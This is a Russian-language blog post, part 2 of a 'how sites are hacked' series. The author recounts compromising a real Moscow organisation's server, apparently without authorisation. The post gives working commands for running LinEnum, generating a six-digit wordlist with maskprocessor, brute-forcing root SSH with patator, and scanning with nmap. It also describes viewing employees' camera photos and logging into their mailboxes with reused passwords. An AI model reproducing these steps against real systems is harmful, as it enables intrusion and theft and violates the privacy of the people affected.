Как взламывают сайты (часть 2)
Если вы ещё не читали первую часть, то рекомендуется начать с неё.
9. Камеры
Без камер сейчас никуда: в комнате отдыха воруют печеньки, на рабочих местах работники не работают, в туалетах промахиваются мимо писсуара… Эта организация тоже не исключение. Я не просто так в первой части показал, как проверять размер папок и как выборочно архивировать папки веб-сервера. Два хоста оказались хранилищем фотографий на десятки гигабайт. Там всё пристойно, единственное что, камеры со встроенным датчиком движения, поэтому запись происходит только когда в комнате кто-то есть. Одна из камер установлена в комнате отдыха — там где чаёк, еда, телевизор. Так вот, если на ускоренном темпе просматривать эти фотографии (получается как видео), то создаётся сюрреалистическое впечатление, что люди в этой организации без конца жрут… День проходит так: восходит солнышко, заходят первые люди и начинают пить кофе, затем начинают есть, затем они уходят и начинают есть другие, затем приходят ещё больше людей и тоже начинают есть, потом эти уходят и приходят другие со своей едой и опять едят, и это повторяется и повторяется пока не наступит закат… Затем следующий день — точно такой, люди едят-едят-едят и вот такого почти на 100 Гигабайт…
Причём веб-интерфейс со слабым паролем для просмотра всего этого «добра» расположен на поддомене сайта, доступного из Глобальной сети.
10. Поиск слабых настроек сервера
Итак, из веб-сайтов мы уже вытрясли всё, что только можно, - исходный код, базы данных, пароли пользователей.
Теперь давайте осмотримся на самом сервере — к чему у нас есть доступ, какие настройки являются слабыми, какую информацию мы можем получить о системе, пользователях, запущенных службах.
Всё это можно делать вручную запуская утилиты в командной строке или воспользоваться одной из программ автоматизации. Например, я применю LinEnum. Подробности работы с ней описаны в «Аудит безопасности хостинга и других совместно используемых систем на Linux».
Скачиваем её:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Запускаем:
bash LinEnum.sh
И ждём результатов.
Информации много. Информацию о системе и ядре можно использовать для поиска эксплойтов, которые выполняют эскалацию привилегий — повышение прав.
Получена информация о пользователях (имя, IP, дата последнего входа), выполнявших вход в систему, — их имена можно использовать для брут-форса (подбора пароля методом перебора) SSH. Причём у одного из пользователей локальный адрес 10.*.*.* - это даёт нам подсказку о структуре локальной сети.
Показано, кто из пользователей является администратором, а также аккаунты, кто недавно использовал sudo (то есть у кого есть право выполнять команды с повышенными привилегиями — такие аккаунты представляют первостепенный интерес).
Собрана информация о сетевых интерфейсах, показан локальный IP — можно выполнить сканирование сети в поисках других подключённых устройств.
Показаны прослушиваемые порты (те, к которым можно подключиться) — их много. Их стоит проверить, так как там могут быть интересные службы.
Информация о запущенных процессах говорит о том, что работает почтовый сервер, прокси, DNS сервер, служба IP камер.
Собраны номера версий популярных служб — на случай, если мы будем искать эксплойты.
Среди интересных файлов внезапно обнаружился nmap — можно сканировать хост прямо с самого себя — это даст супер быстрые результаты.
11. Брут-форс SSH и FTP
На сервере были найдены два пользователя с правами администратора, root и ещё один, имя которого привести не могу.
Анализ исходного кода веб-интерфейсов для просмотра сохранённых с камер фотографий дал ещё один пароль — тоже из шести цифр. Я обратил внимание, что владельцем папок веб-сервера, где расположены фотографии, является не Apache (не www-data), а разные пользователи. Оказалось, что для них предусмотрены учётные данные FTP, а также для под ними можно входить по SSH, причём в обоих случаях подходит пароль администратора, который подходит и для root MySQL, и для сервиса на сайте. К сожалению, у этих пользователей нет прав на выполнение команд с sudo. То есть у меня и так уже есть доступ к тому, к чему у них есть доступ (разве что, под этими пользователями можно редактировать файлы сайтов).
Но, что самое печальное, что этот самый пароль администратора не подходит к пользователю системы Linux, также не подходит к учётной записи root. Если честно, я сначала даже удивился — ко всему подходит, а к этому не подходит… Видимо, пароли для этих пользователей придумывали на аутсорсе…
Будем исходить из того, что пароль всё-таки из шести цифр. Тогда сгенерируем его с помощью maskprocessor:
maskprocessor ?d?d?d?d?d?d > dig.pass
Для брутфорса я предпочитаю patator.
Я хотел запустить подбор пароля прямо с самого сервера. Python там оказался установленным, но не оказалось paramiko, поэтому я получил ошибку:
ERROR: paramiko 1.7.7.1 (http://www.paramiko.org/) is required to run ssh_login.
В результате запустил брут-форс по старинке:
patator ssh_login host=IP user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.'
У меня уже не было цели во что бы то ни стало добыть пароль — уже доказано, что сервер небезопасен. Поэтому я не брутфорсил 24/7, запускал иногда перебор, когда вспоминал про это. Дней через 10 вдруг перебор застопорился:
ssh: connect to host IP port 22: Connection refused
Я сначала подумал, что забанили IP, откуда присылались запросы. Но это не подвердилось.
Как оказалось, на сервер был выполнен вход под учётной записью root и был изменён файл /etc/ssh/sshd_config. Не знаю, это связано с моей деятельностью или просто админ решил «докрутить безопасность». Я заглянул в файл настроек SSH:
cat /etc/ssh/sshd_config
Главное, в чём была докрутка, это вот такая директива:
Port 40022
То есть вместо порта 22 теперь SSH сервер работает на порте 40022 — видимо, чтобы никто не догадался.
Для решения этой проблемы в patator нужно указать нестандартный порт:
patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.'
Если перебор не доведён до конца, то при завершении работы patator выведет что-то вроде:
08:56:40 patator INFO - To resume execution, pass --resume 3591,3577,3564,3592,3572,3588,3588,3568,3584,3588
Если вы хотите продолжить с того места, где была сделана остановка, то при последующем запуске patator добавьте эту строку к команде, получится примерно так:
patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.' --resume 3591,3577,3564,3592,3572,3588,3588,3568,3584,3588
Удачный подбор пароля от Linux пользователя root или от пользователя, у которого есть права на выполнение команд с sudo, означает самую полную компрометацию сервера — полный взлом. Взломать сильнее уже невозможно — становятся доступными любые настройки, любые файлы, любые действия на сервере.
12. Взлом почты
Как я уже сказал, на сервере оказалась установленной программа nmap, поэтому я решил изучить локальную сеть сервера.
Посмотрел локальный IP:
ip a
Запустил сканирование, но ничего не нашёл:
nmap -sn 192.168.144.0/24
Трассировка:
tracepath -n ya.ru
показала, что сервер напрямую подключён к провайдеру — что, в общем-то, и так должно было быть очевидным — это же сервер, у них у всех внешний IP.
Я просканировав порты:
nmap localhost -p-
и увидел там много интересного.
В результате я решил собрать банеры служб:
nmap localhost -p- -sV --script=banner
Среди прочего там была информация Kerio Connect 9.2.1 и open ssl/http Kerio MailServer http config. Как я нагуглил — это почтовый сервис.
Упоминания о почтовом сервисе я уже видел в информации на одном из хостов (субдоменов) — там было написано, что почта теперь переехала на Yandex, поэтому я как-то быстро про это забыл.
Но оказалось, что если в браузере ввести IP с правильным номером порта, то открывается форма входа на почту организации. Я попробовал несколько учётных записей (имя пользователя и пароль) из тех, которые были в базе данных — многие подошли.
В том числе подошёл тот самый админский пароль от почты администратора.
Почта использовалась нескольких лет, но заброшена уже на протяжении почти года.
Важность взлома почты вряд ли нужно объяснять — накопленная годами информация, данные о сотрудниках (это в дополнении к их фотографиям, которые были добыты чуть ране), возможности для социальной инженерии — поэтому в этом месте я подумал что уже, пожалуй, хватит с этого сервера.
Заключение
Вы можете подумать, что этот рассказ — это просто перечисление всех самых детских и самых нелепых ошибок, которые только могут допустить начинающие школьник-программист и администратор. Мол в реальной-то жизни такого не бывает. Бывает… Это абсолютно реальный разбор, реального сервера.
К сожалению, не могу даже в общих чертах сказать о контексте этого случая. Но факт в том, что организация, которой принадлежит этот сервер, находится в Москве и у неё не без оснований на стене висит большой триколор.
Вы можете обратить внимание, что я по минимуму использовал специализированные утилиты. Почти все «взломы» заключались в том, что я знал где и что нужно смотреть и просто это смотрел. Поэтому обучение аудиту безопасности сайтов (взлому сайтов), заключается не только в изучении специализированных утилит. В первую очередь нужно понимание происходящих процессов. Если мы говорим о сайтах, то должно быть понимание, как они функционируют. Я не могу себе представить, как можно делать тест на проникновение сайта, если нет умений по программированию на PHP и хоть какого-то опыта в создании сайтов и веб приложений (CMS, движков и прочего). Если пентестинг продолжается на сервере, то тут просто нечего делать без таких мирных профессиональных навыков как:
- понимание работы сервера, умение его настраивать
- понимание ОС Linux, её внутренного устройства
- умение работать в командной строке и знание хотя бы самых ходовых команд (утилит) Linux
Связанные статьи:
- Как взламывают сайты (100%)
- Атаки на JavaScript на примере обхода Social Locker for WordPress (КЕЙС) (68.1%)
- Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 1) (59.5%)
- Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 2) (59.5%)
- Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 3) (59.5%)
- Бесплатные SSL-сертификаты для IDN (кириллических) доменов и доменов третьего уровня (субдоменов) (RANDOM - 1.2%)